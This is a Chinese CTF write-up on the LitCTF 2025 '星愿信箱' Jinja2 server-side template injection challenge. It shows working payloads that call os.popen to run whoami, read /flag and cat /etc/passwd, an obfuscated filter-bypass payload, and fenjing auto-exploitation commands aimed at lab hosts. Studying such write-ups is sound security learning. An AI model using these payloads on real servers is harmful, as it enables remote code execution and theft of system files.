我们借助一道题的多种解法,来加深我们对于ssti的一个理解
[LitCTF 2025]星愿信箱
首先当然是判断我们的这个模板对吧
1 | ${7*7}第一个,我们理解为根部 |
1 | 我们先输入`${7*7}`,显示说需要包含文字内容,哈哈,这下我的fenjing用法就解决不了这个问题了 |
偷懒方法
1 | {{config.__class__.__init__.__globals__['os'].popen('whoami').read()}} |
这三个结合题目,形式发生变化为
1 | {%print(config.__class__.__init__.__globals__['os'].popen('nl /flag').read())%} |
这三个都是可以的
就是直接套用模板,什么都不用做就可以拿到flag了
fenjing
fenjing也是偷懒做法,但是这道题目比较特殊,就是说,我们的这个要前面有中文才可以
一般地用这个就可以了
1 | python -m fenjing scan --url http://node4.anna.nssctf.cn:28829/ |
万能(假)
然后还记得我们的一个万能的一个吗(不是所有的都可以,只能过一些常规的)。这道题目是直接就出flag了
1 | {%set jy=dict(GET=x)|first|lower%}{%set dh=dict(OS=x)|first|lower%}{%set po=dict(POPEN=x)|first|lower%}{%set re=dict(READ=x)|first|lower%}{%set ob=dict(x=x)|count%}{%set ni=dict(GLOBALS=x)|first|lower%}{%set fp=dict(GETITEM=x)|first|lower%}{%set bu=dict(BUILTINS=x)|first|lower%}{%set im=dict(IMPORT=x)|first|lower%}{%set bt=joiner|urlencode|wordcount%}{%set mt=cycler|escape|urlencode|count%}{%set pj=dict(aaaaa=x)|first|count%}{%set jm=namespace|escape|count%}{%set xo=namespace|escape|urlencode|escape|urlencode|count%}{%set et=(bt,bt,bt,bt,bt,ob,ob)|sum%}{%set ru=({}|escape|urlencode|first,dict(c=x)|join)|join%((xo,pj)|sum)%}{%set uc=(ru*(ob,ob)|sum,ni,ru*(ob,ob)|sum)|join%}{%set ya=(ru*(ob,ob)|sum,fp,ru*(ob,ob)|sum)|join%}{%set bl=(ru*(ob,ob)|sum,bu,ru*(ob,ob)|sum)|join%}{%set ip=(ru*(ob,ob)|sum,im,ru*(ob,ob)|sum)|join%}{%set ad=dict(ADD=x)|first|lower%}{%set sx=(ru*(ob,ob)|sum,ad,ru*(ob,ob)|sum)|join%}{%set ke=dict(a=x,b=x,c=x)|count%}{%set mq=(ke,ob)|sum%}{%set ta=dict(TAC=x)|first|lower|attr(sx)((({}|escape|urlencode|first,dict(c=x)|join)|join*(bt,ob,ob)|sum)%((bt,bt,bt,bt,bt,ob)|sum,(mt,bt,ob)|sum,(mt,pj)|sum,(mt,bt,bt,mq)|sum,(bt,bt,bt,bt,bt,ob)|sum,(jm,bt,mq)|sum,(jm,ob)|sum,(xo,bt,pj)|sum,(et,pj)|sum))%}{%print (((((session|attr(jy)|attr(uc)|attr(ya))(bl)|attr(ya))(ip))(dh)|attr(po))(ta)|attr(re))()%} |
我们就需要好好学一下fenjing怎么用就可以了
在这之前,抓包得知是post传参的
json格式如下
1 | {"cmd":"11"} |
参考文档我下在电脑上了
1 | python -m fenjing crack-json --url 'http://node6.anna.nssctf.cn:29821/' --json-data '{"cmd": "a"}' --key cmd |
1 | python -m fenjing crack-json --url 'http://node6.anna.nssctf.cn:29821/' --json-data '{"cmd": "a"}' --key cmd --replaced-keyword-strategy ignore |
下面的这个是参考的一个wp的paylaod,我发现我用不了这个命令,然后我发现我的fenjing版本什么的是有问题,反正很多常见功能是没有的
1 | python -m fenjing --help |
一开始回显
1 | python -m fenjing --help |
下载了最新版本的回显的就是我要的了
1 | python -m fenjing --help |
功能完善后还是报错了
1 | python -m fenjing crack-json --url "http://node6.anna.nssctf.cn:29821/" --json-data "{\"cmd\": \"a\"}" --key cmd |
最后换成这个命令开始运行了,但是还是拿不到flag
1 | python -m fenjing crack-json --url 'http://node6.anna.nssctf.cn:24986/' --json-data "{\"cmd\": \"a\"}" --key cmd --replaced-keyword-strategy ignore |
这个参考wp的命令还是拿不到
1 | python -m fenjing crack-json --url 'http://node6.anna.nssctf.cn:27524/' --json-data "{\"cmd\": \"a\"}" --key cmd --replaced-keyword-strategy ignore |
上面这些都是人家的wp给的形式
1 | python -m fenjing crack-json --url "http://node6.anna.nssctf.cn:27524/" --json-data "{\"cmd\": \"a\"}" --key cmd --replaced-keyword-strategy ignore |
报错信息给gpt看,就是url栏那里进行修改就可以拿到flag了
1 | python -m fenjing crack-json --url "http://node6.anna.nssctf.cn:27524/" --json-data "{\"cmd\": \"a\"}" --key cmd |
这个是可以的,单双引号和这个转义符的区分
常规解法
首先我们要知道,paylaod大致的样子如下
1 | {%print("".__class__.__base__.__subclasses__()[' +str(i)+ '].__init__.__globals__["popen"]("cat /etc/passwd").read())%} |
1 | {% if "".__class__ %}BenBen{%endif%} |
用这两条都是可以的
1 | import requests |
如果是写脚本的话,肯定是一步一步地测试,不断地改我们的脚本才行
这里遇到一个问题,就是括号的问题
这里只有一个大括号,脚本和之前的两个括号的脚本是有很多地方不一样的
应该是这里传输数据的方式是json,所有才会说之前的脚本跑不了
你问得非常好!我们就聚焦在你关心的部分:
🎯 关注点:
1 | data = {"cmd": f'{{%print("".__class__.__base__.__subclasses__()[{i}])%}}'} |
1 | 你想问的是: |
✅ 这是 Python f-string 里的转义规则问题
🔹 1. 外层是 Python 的 f-string:
1 | f'...{i}...' |
1 | Python 会处理花括号 `{}`,比如: |
1 | name = "Alice" |
1 | ### 🔹 2. 那 `{%print(...)%}` 里的 `{` 和 `%` 怎么办? |
你用了这段:
1 | f'{{%print(...)%}}' |
{{` 会变成单个 `{` * `}}
会变成单个}
- 这是 f-string 的写法规则,用两个花括号
{{` 和 `}}
才能输出真实的{
和}
字符。
✅ 举个简单例子:
1 | f'{{abc}}' → '{abc}' |
✅ 所以你这一句:
1 | f'{{%print("".__class__.__base__.__subclasses__()[{i}])%}}' |
1 | * 外层 f-string 中的 `{{` 会变成 `{` |
最终的效果就是动态构造出:
1 | {%print("".__class__.__base__.__subclasses__()[137])%} |
完美符合 Jinja2 模板的语法。
✅ 总结一句话:
1 | * `{{` 和 `}}` 是为了告诉 Python f-string:**“我想输出一个花括号”**。 |
总结
还是有很多的相关的一些过滤呀什么的,做过的相关练习还是有些偏少的,慢慢积累